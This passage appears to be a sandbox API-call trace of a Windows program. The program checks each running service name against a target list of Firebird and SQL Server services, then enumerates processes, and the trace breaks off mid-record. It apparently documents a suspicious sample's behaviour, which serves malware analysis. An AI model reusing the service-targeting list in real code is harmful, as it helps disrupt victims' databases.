lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0245.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0245.556] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0245.556] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0245.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0245.556] lstrlenW (lpString="CryptSvc") returned 8 [0245.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0245.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0245.556] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0245.556] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0245.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0245.556] lstrlenW (lpString="DcomLaunch") returned 10 [0245.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0245.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0245.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0245.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0245.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0245.556] lstrlenW (lpString="DeviceAssociationService") returned 24 [0245.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0245.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0245.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0245.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0245.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0245.556] lstrlenW (lpString="Dhcp") returned 4 [0245.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0245.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0245.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0245.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0245.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0245.556] lstrlenW (lpString="Dnscache") returned 8 [0245.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0245.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0245.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0245.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0245.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0245.556] lstrlenW (lpString="DPS") returned 3 [0245.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0245.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0245.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0245.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0245.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0245.556] lstrlenW (lpString="DusmSvc") returned 7 [0245.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0245.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0245.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0245.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0245.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0245.556] lstrlenW (lpString="EventLog") returned 8 [0245.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0245.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0245.556] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0245.556] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0245.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0245.557] lstrlenW (lpString="EventSystem") returned 11 [0245.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0245.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0245.557] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0245.557] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0245.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0245.557] lstrlenW (lpString="FontCache") returned 9 [0245.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0245.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0245.557] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0245.557] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0245.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0245.557] lstrlenW (lpString="gpsvc") returned 5 [0245.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0245.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0245.557] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0245.557] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0245.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0245.557] lstrlenW (lpString="iphlpsvc") returned 8 [0245.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0245.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0245.557] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0245.557] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0245.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0245.557] lstrlenW (lpString="KeyIso") returned 6 [0245.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0245.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0245.557] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0245.557] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0245.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0245.557] lstrlenW (lpString="LanmanServer") returned 12 [0245.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0245.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0245.557] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0245.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0245.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0245.557] lstrlenW (lpString="LanmanWorkstation") returned 17 [0245.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0245.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0245.557] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0245.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0245.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0245.557] lstrlenW (lpString="lfsvc") returned 5 [0245.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0245.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0245.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0245.557] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0245.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0245.557] lstrlenW (lpString="lmhosts") returned 7 [0245.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0245.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0245.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0245.558] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0245.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0245.558] lstrlenW (lpString="LSM") returned 3 [0245.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0245.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0245.558] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0245.558] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0245.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0245.558] lstrlenW (lpString="MpsSvc") returned 6 [0245.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0245.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0245.558] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0245.558] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0245.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0245.558] lstrlenW (lpString="NcbService") returned 10 [0245.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0245.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0245.558] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0245.558] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0245.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0245.558] lstrlenW (lpString="netprofm") returned 8 [0245.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0245.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0245.558] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0245.558] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0245.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0245.558] lstrlenW (lpString="NgcSvc") returned 6 [0245.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0245.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0245.558] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0245.558] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0245.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0245.558] lstrlenW (lpString="NlaSvc") returned 6 [0245.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0245.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0245.558] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0245.558] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0245.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0245.558] lstrlenW (lpString="nsi") returned 3 [0245.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0245.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0245.558] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0245.558] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0245.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0245.558] lstrlenW (lpString="PcaSvc") returned 6 [0245.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0245.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0245.558] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0245.558] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0245.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0245.558] lstrlenW (lpString="PlugPlay") returned 8 [0245.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0245.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0245.559] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0245.559] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0245.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0245.559] lstrlenW (lpString="Power") returned 5 [0245.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0245.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0245.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0245.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0245.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0245.559] lstrlenW (lpString="ProfSvc") returned 7 [0245.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0245.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0245.559] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0245.559] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0245.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0245.559] lstrlenW (lpString="RpcEptMapper") returned 12 [0245.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0245.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0245.559] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0245.559] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0245.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0245.559] lstrlenW (lpString="RpcSs") returned 5 [0245.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0245.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0245.559] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0245.559] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0245.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0245.559] lstrlenW (lpString="SamSs") returned 5 [0245.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0245.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0245.559] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0245.559] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0245.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0245.559] lstrlenW (lpString="Schedule") returned 8 [0245.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0245.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0245.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0245.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0245.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0245.559] lstrlenW (lpString="SecurityHealthService") returned 21 [0245.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0245.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0245.559] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0245.559] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0245.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0245.559] lstrlenW (lpString="SENS") returned 4 [0245.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0245.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0245.559] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0245.559] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0245.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0245.560] lstrlenW (lpString="ShellHWDetection") returned 16 [0245.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0245.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0245.560] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0245.560] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0245.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0245.560] lstrlenW (lpString="Spooler") returned 7 [0245.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0245.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0245.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0245.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0245.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0245.560] lstrlenW (lpString="StateRepository") returned 15 [0245.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0245.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0245.560] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0245.560] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0245.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0245.560] lstrlenW (lpString="SysMain") returned 7 [0245.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0245.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0245.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0245.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0245.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0245.560] lstrlenW (lpString="SystemEventsBroker") returned 18 [0245.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0245.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0245.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0245.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0245.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0245.560] lstrlenW (lpString="Themes") returned 6 [0245.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0245.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0245.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0245.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0245.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0245.560] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0245.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0245.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0245.560] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0245.560] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0245.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0245.560] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0245.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0245.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0245.560] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0245.560] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0245.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56ae50 | out: hHeap=0x4f0000) returned 1 [0245.561] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x348 [0245.563] Process32FirstW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.564] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0245.564] lstrlenW (lpString="System") returned 6 [0245.564] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0245.564] lstrlenW (lpString="smss.exe") returned 8 [0245.564] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.565] lstrlenW (lpString="csrss.exe") returned 9 [0245.565] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0245.565] lstrlenW (lpString="wininit.exe") returned 11 [0245.565] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.565] lstrlenW (lpString="csrss.exe") returned 9 [0245.566] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0245.566] lstrlenW (lpString="winlogon.exe") returned 12 [0245.566] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0245.566] lstrlenW (lpString="services.exe") returned 12 [0245.566] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0245.567] lstrlenW (lpString="lsass.exe") returned 9 [0245.567] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0245.567] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0245.567] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0245.567] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0245.567] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.568] lstrlenW (lpString="svchost.exe") returned 11 [0245.568] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.655] lstrlenW (lpString="svchost.exe") returned 11 [0245.655] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0245.655] lstrlenW (lpString="dwm.exe") returned 7 [0245.656] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.656] lstrlenW (lpString="svchost.exe") returned 11 [0245.656] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.656] lstrlenW (lpString="svchost.exe") returned 11 [0245.656] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, 